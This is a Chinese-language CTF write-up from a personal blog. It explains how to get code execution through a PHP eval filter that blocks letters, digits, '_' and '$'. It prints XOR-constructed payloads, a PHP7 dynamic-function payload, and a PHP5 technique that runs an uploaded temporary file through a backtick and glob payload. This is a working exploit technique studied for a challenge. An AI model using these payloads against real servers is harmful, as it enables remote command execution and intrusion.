C1imber's Blog

记一次ctf极限利用-不包含数字字母的webshell

字数统计: 1.4k阅读时长: 5 min
2018/10/08 Share

记一次ctf极限利用-不包含数字字母的webshell

问题来自于同事给我一道安恒的ctf赛题,题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

看到这个题目后我的最先思路是想办法去执行getFlag这个函数去得到flag,于是想到可以利用php当中两个字符异或后可以得到另外字符这一个特性,将不为数字字母的字符异或后得到想要的字符,首先将所有可能性打印出来

1
2
3
4
5
6
7
8
9
<?php
$a=array('!','"','#','$','%',',','&','\\',"'",'(',')','.','*','+','-','/','[',']','^','_','`','{','|','}','~',':',';','<','=','>','?','@');
foreach ($a as $v1) {
foreach ($a as $v2) {
$r=$v1^$v2;
echo $r.'='.$v1.'^'.$v2;
echo "</br>";
}
}

经过测试得到:

g='^@
e=[^>
t=]^)
F=`^&
l=@^,
a=!^@
g='^@
"'[]`@!'"^"@>)&,@@"=getFlag

接下来利用php的可变变量特性构造payload

$_="'[]`@!'"^"@>)&,@@";$_();

传入后最终变为:
eval(getFlag())

但是这道题的正则也过滤了$_,导致自己的这个思路受到了一些限制,后来自己又看了一叶飘零师傅的解法,思路是可以利用反引号执行命令将flag文件读取出来,加上利用linux当中?这个通配符就可以达到不使用数字字母与$_就可以获取flag的目的,但是由于?这个通配符是匹配任意字符的,导致结果当中会出现很多垃圾数据,而且我用这个方法得到的结果并不完整,不知道是哪里出了问题

于是自己向p牛小密圈发起了求助,经过p牛和小密圈大佬们的指点,得到了很多思路和有趣的知识点,在这里将自己学到的记录分享一下

首先,需要考虑到php5和php7的一些差异,php7当中已经可以使用(函数名)()这样的格式去执行一些动态函数了,所以这道题如果放到php7环境当中的话,就会比较好解,利用上面所说的那个特性就可以达到执行函数的目的,以执行phpinfo函数为例,构造payload:("\(\@@&/"^",@,).@@")();,将payload传入get参数code即可,注意一点,为了避免特殊符号影响,需要将payload进行url编码
mark

如果是php5的话,目前暂时还没有找到不使用数字字母和$_这些符号就可以执行动态函数去读取flag的方法,在这里需要使用执行命令的方法,但是需要避免无关的垃圾数据,经过p牛师傅的指点get到了一个很棒的思路:可以通过构造一个文件上传的数据包,通过文件上传可以在服务器的tmp目录下生成一个上传的php临时文件,文件的内容为要执行的命令,这个临时文件的生命周期就在php代码执行的期间,php代码执行结束就会自动删除,这样的话就可以在上传文件的同时传入GET参数去执行这个临时文件里面的命令,这里包含了几个知识点:

1.有关linux glob通配符的知识点:linux当中可以使用glob通配符匹配任意文件名,?可以匹配任意一个字符,[]里面可以通过ascii码指定匹配的字符范围
2.linux当中可以使用.去执行任意文件,即使这个文件没有x执行权限
3.php的短标签<?=?>相当于<?php echo?>的作用

知道了上面的几个点,就可以构造出来不含数字字母$_又可以执行命令的payload

code=?><?=`. /???/????????[@-[]`?>

因为文件长度为/???/?????????的文件有很多,为了避免匹配不到临时文件,这里将文件名的最后字母变为大写,其中@-[之间的ascii码为A-Z

最终的执行结果,当生成的临时文件最后一个字母为大写时,就可以匹配到临时文件执行里面的命令

mark

我所遇到的一些问题

我在做这道题的时候遇到了一些问题:自己一开始并不能成功的匹配到php产生的临时文件,为了这个问题还和p牛师傅交流了好久==,最后得到了一个结论:有的linux操作系统和版本并不支持使用[]去匹配指定范围的ascii码,导致不能成功的匹配到php产生的临时文件,于是执行了其它的文件,自然就会失败。我测试的几个操作系统结果如下

docker centos6(成功)
虚拟机 centos6(失败)
vps centos7(失败)
虚拟机ubuntu16.04(失败)
vps ubuntu16.04(失败)

在这些linux当中,ubuntu里面的shopt是有一个globasciiranges选项的,这个配置项默认并没有开启所以会导致[]不能使用,使用shopt -s globasciiranges命令开启这个选项后就可以成功利用了

但是centos里面并没有globasciiranges这个配置项,所以暂时还不能成功利用(除了docker的centos6),这里应该就是和linux版本有关系了,最后为了方便理解,附上我的测试截图

centos7 vps
mark
mark

ubuntu将shopt里面的globasciiranges开启就能解决问题
mark

参考链接

无字母数字webshell之提高篇

CATALOG
  1. 1. 记一次ctf极限利用-不包含数字字母的webshell
    1. 1.0.1.
    2. 1.0.2. 我所遇到的一些问题
    3. 1.0.3. 参考链接